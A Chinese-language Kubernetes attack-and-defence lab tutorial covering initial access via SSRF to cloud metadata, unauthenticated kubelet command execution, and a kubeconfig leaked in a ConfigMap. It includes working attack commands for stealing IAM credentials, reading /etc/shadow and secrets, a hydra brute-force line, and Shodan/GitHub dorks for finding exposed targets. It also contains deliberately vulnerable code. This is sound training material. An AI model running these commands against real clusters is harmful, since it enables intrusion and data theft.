
ATT&CK TA0001 Initial Access——攻擊者如何取得 Kubernetes 叢集的第一個立足點。
本系列使用 KOAD(Kubernetes Offensive and Active Defense) 靶場,底層跑在 Minikube 上。在開始攻擊之前,先了解 KOAD/Minikube 環境與真實生產叢集的關鍵差異,避免把 Lab 行為直接套用到真實環境:
| 面向 | Minikube(KOAD 靶場) | 真實生產叢集(EKS/GKE/AKS/kubeadm) |
|---|---|---|
| 節點數量 | 通常 1-2 個 Node(本機 VM/Docker) | 數十到數千個 Node |
| 網路模型 | 簡化的 bridge 網路,Host 可直接存取所有 NodePort | 多層網路(VPC/Subnet/Security Group/Load Balancer) |
| API Server 存取 | minikube ip 直接可達,通常無認證限制 |
經過 IAM/OIDC 認證,通常在私有網路 |
| Cloud Metadata | 無真實 Cloud Metadata(KOAD 用 mock-metadata 模擬) | 真實 IMDS(169.254.169.254),可取得 IAM 憑證 |
| RBAC 預設值 | Minikube 預設較寬鬆(方便開發) | 生產叢集通常有嚴格 RBAC + Admission Controller |
| NetworkPolicy | 預設無 CNI 支援(需手動安裝 Calico 等) | 通常有 CNI + NetworkPolicy 強制執行 |
| etcd 存取 | 可能直接暴露在 Node 上 | 通常隔離在 Control Plane 內,加密通訊 |
| Service 暴露 | NodePort 直接從 Host 存取 | 經過 Load Balancer/Ingress Controller |
本系列每個攻擊場景都會標註「在真實環境中可能不同的地方」,幫助你建立正確的期望。
在深入攻擊手法之前,先理解 K8s 的網路架構——因為初始存取的本質就是「找到一條從外部通往內部的網路路徑」。
K8s 採用扁平網路模型:每個 Pod 有自己的 IP,叢集內所有 Pod 預設可以直接互通(不需要 NAT)。

這意味著:一旦攻擊者進入任一 Pod,就能直接存取叢集內所有其他 Pod——除非有 NetworkPolicy 阻擋。
Service 是 K8s 對外暴露服務的機制,不同類型暴露的攻擊面不同:
| Service 類型 | 可存取範圍 | 攻擊面 |
|---|---|---|
| ClusterIP | 叢集內部 | 僅內部攻擊者可及 |
| NodePort | Node IP:30000-32767 | 任何能存取 Node 的人 |
| LoadBalancer | 公網 IP | 全網際網路 |
K8s 叢集有幾個高價值的內部端點,攻擊者一旦拿到就能擴大戰果:

169.254.169.254 是 link-local 位址,流量不經過路由器,直接由雲端 hypervisor 回應。這表示:
Pod 內的請求路徑:
curl 10.96.0.1:443 → 經過 kube-proxy → API Server(需要 Token)
curl 169.254.169.254 → 直達 hypervisor → 回傳 IAM 憑證(不需認證!)
這就是為什麼 SSRF 在 K8s + 雲端環境中特別致命——一個簡單的 URL 重定向就能拿到雲端帳號的存取權限。
kubelet 是每個 Node 上的 agent,負責管理該 Node 上所有 Pod 的生命週期。kubelet API 預設監聽在 10250 連接埠:
# 如果 anonymous-auth=true(不安全的預設值),任何人都能:
# 列出所有 Pod
curl -sk https://<node-ip>:10250/pods
# 在任意 Pod 內執行命令
curl -sk https://<node-ip>:10250/run/<namespace>/<pod>/<container> \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
kubelet 暴露在公網 = 攻擊者可以直接在任何 Pod 裡執行命令,等同於 cluster-admin。
| 場景 | ATT&CK | 技術 | 攻擊路徑 | 攻擊難度 |
|---|---|---|---|---|
| S01 | T1190 | Exploit Public-Facing App | SSRF → Metadata API → 雲端 IAM | 中 |
| S02 | T1133 | External Remote Services | 暴露的 kubelet 10250 連接埠 | 低 |
| S03 | T1078 | Valid Accounts | ConfigMap 中的明文 kubeconfig | 低 |
初始存取是整條 Kill Chain 的第一步——攻擊者進不去就什麼都做不了。在 K8s 環境中,最常見的入口不是什麼零日漏洞,而是配置錯誤和憑證洩漏。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S01,S02,S03)"
預期結果:
NAME READY STATUS RESTARTS AGE
ssrf-webapp-xxx 1/1 Running 0 ...
mock-metadata-xxx 1/1 Running 0 ...
leaked-kubeconfig-xxx 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/initial-access/ kubectl wait --for=condition=Ready pods -l "koad-scenario in (S01,S02,S03)" -n koad --timeout=60s
建議另開一個終端視窗,保持 Falco 日誌持續輸出:
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|ssrf\|kubelet\|kubeconfig"
兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。
完成本日實作後,你將能夠:
SSRF(Server-Side Request Forgery,伺服器端請求偽造)是 Kubernetes 環境中最經典的初始存取方式之一。攻擊路線:
攻擊者 → Web App(SSRF 漏洞)→ Cloud Metadata API (169.254.169.254) → IAM 憑證
在 AWS/GCP/Azure 的託管 K8s 中,每個節點都可以透過 169.254.169.254 存取雲端 Metadata API。如果 Pod 內的應用有 SSRF 漏洞,攻擊者就能從外部請求這個內部端點,取得節點的 IAM 憑證。
SSRF 在傳統環境中已經很危險,但在 K8s + 雲端環境中威力倍增。以下是完整的攻擊路徑:

為什麼 Pod 可以存取 Metadata API?
Metadata API 運行在 link-local 位址 169.254.169.254,這個位址在雲端虛擬機的網路命名空間中是可路由的。K8s Pod 的網路命名空間繼承了節點的路由規則,因此 Pod 預設可以存取 Metadata API——除非有 NetworkPolicy 明確阻擋。
| 雲端 | Metadata URL | IAM 憑證路徑 | 防禦機制 |
|---|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
/iam/security-credentials/<role-name> |
IMDSv2(需 PUT Token) |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
/instance/service-accounts/default/token |
需 Metadata-Flavor: Google header |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token |
同左 + api-version 參數 |
需 Metadata: true header |
IMDSv1 vs IMDSv2(AWS):
| 特性 | IMDSv1 | IMDSv2 |
|---|---|---|
| 請求方式 | 直接 GET | 先 PUT 取 Token,再 GET |
| SSRF 可利用 | 是(一個 GET 搞定) | 難(需要兩步 + TTL Token) |
| 預設啟用 | 舊實例是 | 新實例預設 v2 only |
| TTL Hop | 無限 | 預設 1(容器可能到不了) |
# IMDSv1(一步取得,SSRF 友善)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-node-role
# IMDSv2(兩步,SSRF 困難)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-node-role
KOAD 模擬了這條完整的攻擊鏈:

S01 部署了兩個元件——SSRF 漏洞應用和模擬的 Metadata API:
# ssrf-webapp Deployment 關鍵欄位
spec:
template:
spec:
containers:
- name: webapp
image: koad/vulnerable-webapp:latest
ports:
- containerPort: 5000 # Flask 預設連接埠,對外暴露
env:
- name: FLASK_ENV
value: "development" # 開發模式,錯誤訊息洩漏內部資訊
---
# Service 用 NodePort 對外暴露
spec:
type: NodePort # 刻意對外,模擬公開服務
ports:
- nodePort: 30080 # 攻擊者從這裡進入
---
# mock-metadata 模擬雲端 Metadata API
spec:
selector:
app: mock-metadata
ports:
- port: 80 # 對內監聽 80,模擬 169.254.169.254
targetPort: 8080
安全問題:Pod 沒有設定 NetworkPolicy,因此可以自由存取叢集內任何 Service——包括 mock-metadata。在真實雲端環境中,這等同於 Pod 直接存取 169.254.169.254。
SSRF 是雲端 K8s 環境中最高頻的初始存取向量。2019 年 Capital One 事件中,攻擊者利用 WAF 的 SSRF 漏洞存取 AWS Metadata API,竊取了超過 1 億筆客戶資料。S01 刻意用 NodePort 暴露一個無輸入驗證的 Flask 應用,搭配 mock-metadata 模擬雲端 Metadata API,讓學員在本地 Minikube 上重現這條完整的攻擊鏈——從 SSRF 到 IAM 憑證竊取。
SSRF 漏洞核心——app.py 的 /fetch 端點:
@app.route("/fetch", methods=["POST"])
def fetch():
url = request.form.get("url", "")
if not url:
return render_template_string(INDEX_HTML, error="No URL provided")
try:
# 漏洞在這裡:直接用使用者輸入的 URL 發請求,沒有任何驗證
resp = http_requests.get(url, timeout=5, verify=False)
return render_template_string(
INDEX_HTML, result=resp.text[:5000], url=url
)
except Exception as e:
return render_template_string(INDEX_HTML, error=str(e), url=url)
問題很明顯:url 參數直接來自使用者輸入,沒有任何白名單檢查或 URL 驗證。
安全的寫法應該是:
import ipaddress
from urllib.parse import urlparse
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
BLOCKED_RANGES = [
ipaddress.ip_network("169.254.0.0/16"), # link-local
ipaddress.ip_network("10.0.0.0/8"), # private
ipaddress.ip_network("172.16.0.0/12"), # private
ipaddress.ip_network("192.168.0.0/16"), # private
ipaddress.ip_network("127.0.0.0/8"), # loopback
]
def is_safe_url(url):
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
return False
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
return not any(ip in net for net in BLOCKED_RANGES)
except Exception:
return False
攻擊者視角: 「我在 Shodan 上發現目標的 K8s 叢集有一個對外的 Web 服務。先試試看有沒有 SSRF——如果能打到 169.254.169.254,這個叢集的 IAM 憑證就到手了。」
以下所有步驟在主機終端執行。
# 主機終端
minikube service ssrf-webapp -n koad --url
預期結果:
http://192.168.49.2:30080
NodePort
30080代表這個 Web App 從叢集外部可以直接存取——攻擊者只需知道任一 Node IP 就能連上,這是 SSRF 攻擊的入口。

curl -s http://192.168.49.2:30080/fetch \
-d "url=http://httpbin.org/ip"
預期結果:
{"origin": "203.0.113.10"}
如果回傳外部 IP,代表
/fetch端點會幫我們發請求——SSRF 的前提條件成立。

curl -s http://192.168.49.2:30080/fetch \
-d "url=http://169.254.169.254/"
預期結果:
1.0
2007-01-19
2007-03-01
...
latest
回傳 Metadata API 的版本列表,SSRF confirmed——我們可以從外部打到 link-local 位址。

curl -s http://192.168.49.2:30080/fetch \
-d "url=http://mock-metadata.koad/latest/meta-data/iam/security-credentials/k8s-node-role"
預期結果:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FwoGZXIvYXdzEBYaDFAKE_SESSION_TOKEN_EXAMPLE",
"Expiration": "2026-01-16T00:00:00Z"
}
拿到 AccessKeyId + SecretAccessKey + SessionToken,可以用來存取雲端 API。
Falco 觀察:SSRF 請求觸發 Pod 向內部位址發起連線,Falco 可偵測到容器對 link-local 位址的異常連線。

export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEBYaDFAKE_SESSION_TOKEN_EXAMPLE"
aws s3 ls
預期結果:
2025-01-15 production-data-bucket
2025-01-15 customer-backups
成功列出 S3 儲存桶——竊取的臨時憑證有效。攻擊者可以存取該 IAM Role 權限範圍內的所有雲端資源。
aws s3 cp s3://production-data-bucket/customers.csv .
預期結果:
download: s3://production-data-bucket/customers.csv to ./customers.csv
100 萬筆客戶資料到手——從一個 SSRF 漏洞到雲端資料外洩,整條鏈只需要 5 步。

| 事件 | 年份 | 手法 | 影響 |
|---|---|---|---|
| Capital One | 2019 | WAF SSRF → EC2 IAM | 1 億客戶資料外洩 |
| 某加密貨幣交易所 | 2022 | SSRF → GCP SA Token | 熱錢包私鑰被竊 |
| 某電商平台 | 2023 | SSRF → AWS IMDSv1 | RDS 資料庫完整備份 |
kubelet 是每個 K8s 節點上的代理程式,監聽兩個連接埠:
| 連接埠 | 用途 | 風險 |
|---|---|---|
| 10250 | kubelet API(HTTPS) | 認證啟用時需要有效憑證,但若 --anonymous-auth=true 則任何人可存取 |
| 10255 | 唯讀連接埠(HTTP) | 已棄用,但老版本可能仍開啟 |
如果 kubelet 的 10250 連接埠暴露且未配置認證,攻擊者可以:
GET /pods
POST /run/<namespace>/<pod>/<container>
GET /containerLogs/<namespace>/<pod>/<container>
攻擊者視角: 「Shodan 搜 port:10250 "pods" 找到了目標的 kubelet。先 GET /pods 看看有什麼——如果能列出 Pod,就用 /run 端點直接在 Pod 裡執行指令。不需要任何憑證,直接就是 root。」
# 列出所有 Pod(最常用的探測端點)
GET /pods
# 在容器中執行指令
POST /run/<namespace>/<pod>/<container>
Body: cmd=<command>
# 讀取容器日誌
GET /containerLogs/<namespace>/<pod>/<container>
# 取得節點資訊
GET /spec
GET /stats/summary
# 健康檢查
GET /healthz
S02 部署一個探測用 Pod,模擬攻擊者對 kubelet API 的偵察:
spec:
containers:
- name: probe
image: curlimages/curl:latest # 輕量 curl 映像,專門用來發 HTTP 請求
command: ["/bin/sh", "-c"]
args:
- |
# 三條攻擊向量都寫在啟動腳本裡
echo "[Attack Vector 1] Unauthenticated kubelet API:"
echo " curl -sk https://$NODE_IP:10250/pods"
echo "[Attack Vector 2] kubelet read-only port:"
echo " curl -s http://$NODE_IP:10255/pods"
echo "[Attack Vector 3] SSH brute force:"
echo " hydra -l root -P rockyou.txt ssh://$NODE_IP"
sleep infinity # 保持 Pod 存活,讓學員 exec 進去操作
env:
- name: NODE_IP
valueFrom:
fieldRef:
fieldPath: status.hostIP # 自動取得所在 Node 的 IP
設計重點:status.hostIP 讓 Pod 自動知道自己跑在哪個 Node 上——這在真實攻擊中也是常見的偵察手法,攻擊者進入 Pod 後第一步就是確認 Node IP。
kubelet API 暴露是 Kubernetes 叢集中最危險的配置錯誤之一。Shodan 上隨時有數千個暴露的 10250 連接埠,攻擊者無需任何憑證就能在 Pod 內執行指令。S02 刻意用 curlimages/curl 這個最小映像搭配 status.hostIP,讓學員體驗攻擊者如何從 Pod 內部偵察 kubelet,理解為什麼 --anonymous-auth=false 是第一道必須設定的防線。
以下所有步驟在主機終端執行。
# 主機終端
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[0].address}')
echo $NODE_IP
預期結果:
192.168.49.2
這是 Minikube 節點的 IP。在真實環境中,攻擊者會透過 Shodan 或 nmap 掃描發現暴露的 kubelet 連接埠。

curl -sk https://$NODE_IP:10250/pods | head -3
預期結果:
Unauthorized
在 KOAD 的 Minikube 環境中,kubelet 預設啟用認證,所以回傳
Unauthorized。這是正確的安全配置。

以下模擬
--anonymous-auth=true的情境(真實攻擊場景):
curl -sk https://$NODE_IP:10250/pods | jq '.items[].metadata.name'
預期結果:
"kube-apiserver-node01"
"etcd-node01"
"coredns-xxxxx"
"production-webapp-xxxxx"
kubelet 回傳了節點上的所有 Pod,包括
kube-apiserver和etcd等核心元件——攻擊者可以在任何一個 Pod 中執行指令。

curl -sk https://$NODE_IP:10250/run/production/production-webapp-xxxxx/webapp \
-d "cmd=cat /etc/shadow"
預期結果:
root:$6$xxxxx:19000:0:99999:7:::
透過 kubelet
/run端點直接在目標 Pod 中執行了cat /etc/shadow——不需要 kubectl、不需要 API Server 認證,直接繞過 RBAC。

curl -sk https://$NODE_IP:10250/run/production/production-webapp-xxxxx/webapp \
-d "cmd=env" | grep -i pass
預期結果:
DB_PASSWORD=super_secret_production_password
環境變數中的密碼直接暴露——這就是為什麼 kubelet
anonymous-auth必須設為false。

用以下查詢在 Shodan 搜尋暴露的 kubelet:
port:10250 "pods"
port:10255 "/healthz"
你會發現數以千計暴露的 kubelet 端點——每一個都是潛在的入侵路徑。
踩坑提醒: Minikube 的 Docker driver 下,kubelet 連接埠不直接對外暴露。如果要完整重現 S02 攻擊,需要使用
--driver=none或 VM driver(VirtualBox/KVM)。
kubeconfig 是 K8s 的認證設定檔,包含 API Server 位址、使用者憑證和 context。如果 kubeconfig 洩漏——不管是寫在 ConfigMap 裡、提交到 Git、還是留在 CI/CD 日誌中——攻擊者就直接取得叢集存取權。
攻擊者視角: 「先搜 GitHub——filename:.kube/config 或 apiVersion kind:Config server。每天都有人不小心把 kubeconfig 推到 public repo。找到一個有效的,我就不用費力找漏洞了。」
S03 模擬一個常見的錯誤:開發者把 kubeconfig 放進 ConfigMap:
apiVersion: v1
kind: ConfigMap
metadata:
name: app-config
namespace: koad
data:
app.conf: |
[database]
host = db.koad.svc.cluster.local
port = 5432
name = myapp
kubeconfig: | # ← 就是這裡,kubeconfig 明文放在 ConfigMap
apiVersion: v1
kind: Config
clusters:
- cluster:
server: https://kubernetes.default.svc
name: in-cluster
users:
- name: admin
user:
token: LEAKED_ADMIN_TOKEN_PLACEHOLDER
S03 的 Deployment 把含有 kubeconfig 的 ConfigMap 掛載進 Pod:
# ConfigMap 同時存放正常設定和敏感憑證——這是最常見的錯誤
data:
app.conf: | # 正常的應用設定
[database]
host = db.koad.svc.cluster.local
kubeconfig: | # admin 憑證明文混在設定中
users:
- name: admin
user:
token: LEAKED_ADMIN_TOKEN_PLACEHOLDER
---
# Deployment 把整個 ConfigMap 掛載進容器
spec:
containers:
- name: app
image: busybox:1.36
command: ["sh", "-c", "sleep infinity"]
volumeMounts:
- name: config
mountPath: /etc/app-config # 容器內任何 process 都能讀到
volumes:
- name: config
configMap:
name: app-config # 包含 kubeconfig 的 ConfigMap
安全問題有兩層:第一,kubeconfig 應該用 Secret 而非 ConfigMap 存放(ConfigMap 沒有任何存取控制上的額外保護,但至少語意上區分敏感資料);第二,即使用 Secret,admin Token 也不該直接寫在 K8s 資源裡,應該使用外部 Secret 管理方案(如 Vault、External Secrets Operator)。
kubeconfig 洩漏是最「低技術門檻」的初始存取方式——不需要找漏洞,只要在 GitHub 搜尋 filename:kubeconfig kind:Config 就能找到大量意外提交的憑證。S03 刻意把 kubeconfig 混在正常的 app.conf 中,模擬開發者「圖方便」把所有設定塞進同一個 ConfigMap 的真實情境。這也呼應 OWASP K8s Top 10 的 K08(Secrets Management Failures)。
以下所有步驟在主機終端執行。
# 主機終端
kubectl get configmap app-config -n koad -o jsonpath='{.data.kubeconfig}'
預期結果:
apiVersion: v1
kind: Config
clusters:
- cluster:
server: https://kubernetes.default.svc
certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
name: in-cluster
contexts:
- context:
cluster: in-cluster
user: admin
name: admin-context
current-context: admin-context
users:
- name: admin
user:
token: LEAKED_ADMIN_TOKEN_PLACEHOLDER
ConfigMap 中明文存放 kubeconfig,包含 admin 的 Token——任何有 ConfigMap 讀取權限的人都能取得。

kubectl get configmap app-config -n koad -o jsonpath='{.data.kubeconfig}' > /tmp/leaked-config
預期結果:
(無輸出,檔案已寫入)
將洩漏的 kubeconfig 存到本地檔案,之後可以用
KUBECONFIG環境變數指定它來操作叢集。

KUBECONFIG=/tmp/leaked-config kubectl get nodes
預期結果:
NAME STATUS ROLES AGE VERSION
minikube Ready control-plane 1h v1.30.0
成功——用洩漏的憑證可以直接操作叢集。

KUBECONFIG=/tmp/leaked-config kubectl get secrets -A
預期結果:
NAMESPACE NAME TYPE DATA AGE
kube-system bootstrap-token-xxx bootstrap.k... 6 1h
koad database-credentials Opaque 2 1h
production tls-cert kubernetes.io/tls 2 1h
如果洩漏的是 cluster-admin 權限,所有 Namespace 的 Secrets 都能讀取——資料庫密碼、TLS 證書、API Key 全部暴露。

| 管道 | 說明 | 偵測工具 |
|---|---|---|
| Git 倉庫 | .kube/config 被提交到 public repo |
git-secrets, truffleHog |
| CI/CD 日誌 | Pipeline 中 echo $KUBECONFIG 或 debug 輸出 |
CI 日誌審計 |
| ConfigMap/Secret | 開發者圖方便直接塞進 K8s 資源 | kubectl audit |
| 容器映像 | Dockerfile 中 COPY kubeconfig /app/ |
dive, trivy |
| Slack/Wiki | 內部文件中貼 kubeconfig 片段 | DLP 工具 |
| 錯誤頁面 | 應用 crash 時 dump 環境變數 | WAF 規則 |
GitHub 上搜尋 filename:kubeconfig kind:Config 可以找到大量意外洩漏的 kubeconfig 檔案。
拿到 kubeconfig 後,第一步是確認權限:
kubectl auth can-i --list
預期結果:
Resources Non-Resource URLs Verbs
*.* [] [*]
[*] [*]
如果看到
*.*+[*],代表是 cluster-admin——遊戲結束,攻擊者擁有叢集的完整控制權。

| 權限等級 | 能做什麼 | 影響 |
|---|---|---|
| cluster-admin | 一切 | 叢集完全淪陷 |
| namespace admin | 該 NS 內所有操作 | 單一 NS 資料外洩 |
| view only | 讀取資源 | 資訊洩漏(含 Secrets) |
三條路徑殊途同歸——都是為了取得叢集的立足點:

| 維度 | S01 SSRF | S02 kubelet | S03 kubeconfig |
|---|---|---|---|
| 攻擊難度 | 中(需要 SSRF 漏洞) | 低(連接埠掃描即可) | 低(搜尋即可) |
| 前提條件 | 對外 Web 服務 + SSRF | kubelet 對外 + 無認證 | 憑證洩漏 |
| 取得的權限 | 雲端 IAM | Node 級 RCE | 依 kubeconfig 權限 |
| 偵測難度 | 中(WAF 可擋) | 低(連接埠掃描偵測) | 高(合法憑證操作) |
| 真實發生頻率 | 高 | 中 | 很高 |
| 場景 | 偵測工具 | 偵測方法 |
|---|---|---|
| S01 SSRF | NetworkPolicy | 阻擋 Pod 存取 169.254.169.254 |
| S01 SSRF | WAF/應用層 | URL 白名單、阻擋內部 IP 範圍 |
| S02 kubelet | Falco k8s_audit | 偵測 kubelet API 非授權存取 |
| S02 kubelet | 網路掃描 | 確認 10250/10255 未對外暴露 |
| S03 kubeconfig | Falco k8s_audit | 偵測 ConfigMap/Secret 讀取異常 |
| S03 kubeconfig | CI/CD 掃描 | git-secrets、truffleHog 掃描密碼 |
| 考點 | 本日內容 | 可能的考試題型 |
|---|---|---|
| API Server 安全 | kubelet 認證 | 「配置 kubelet 以拒絕匿名請求」 |
| NetworkPolicy | 阻擋 Metadata API | 「撰寫 NetworkPolicy 阻止 Pod 存取 169.254.169.254」 |
| Secret 管理 | kubeconfig 洩漏 | 「找出 ConfigMap 中的機密資料並移到 Secret」 |
| RBAC | kubeconfig 權限 | 「建立只有 view 權限的 kubeconfig」 |
CKS 考試提醒: 考試時不會直接問「什麼是 SSRF」,但會要你實作防禦措施——寫 NetworkPolicy 擋 Metadata、配置 kubelet 認證、設定 RBAC 最小權限。理解攻擊原理能幫你更快理解題意。
完成攻擊演練後,清理測試產生的暫存資料:
# 主機終端
# 移除竊取的 kubeconfig
rm -f /tmp/leaked-config
# 清除環境變數中的假 IAM 憑證
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
Pod 本身不需要重建,它們是唯讀的攻擊目標。
| 問題 | 原因 | 解法 |
|---|---|---|
Pod 顯示 ImagePullBackOff |
映像未事先建構或名稱打錯 | 執行 eval $(minikube docker-env) 後重新 docker build,確認映像名稱與 YAML 一致 |
| SSRF Webapp 無法存取(curl 逾時) | NodePort 未正確對應或 Minikube IP 有誤 | minikube service ssrf-webapp -n koad --url 取得正確 URL |
| SSRF 請求回傳空白 | mock-metadata Pod 未啟動 | kubectl get pods -n koad 確認 mock-metadata 為 Running,否則 kubectl apply -f scenarios/initial-access/S01-ssrf-webapp.yaml |
| Falco 沒有顯示告警 | Falco Pod 未部署或規則未載入 | kubectl get pods -n falco 確認 Falco 運行中,kubectl logs -f -n falco -l app.kubernetes.io/name=falco 檢查日誌 |
| kubelet API 回傳 401 Unauthorized | Minikube 預設啟用 kubelet 認證 | 這是正常的安全行為;S02 場景用 curl Pod 內部存取,不是從主機直接打 |
kubectl auth can-i --list 確認竊取憑證的權限等級kubectl auth can-i --list 驗證三條路徑的共通點:攻擊面來自配置錯誤,而非軟體漏洞。強化措施不需要 patch,只需要正確配置。
明天 Day 3 我們會從防禦角度回應這三條路徑——API Server 強化、NetworkPolicy 邊界控制,以及憑證管理最佳實踐。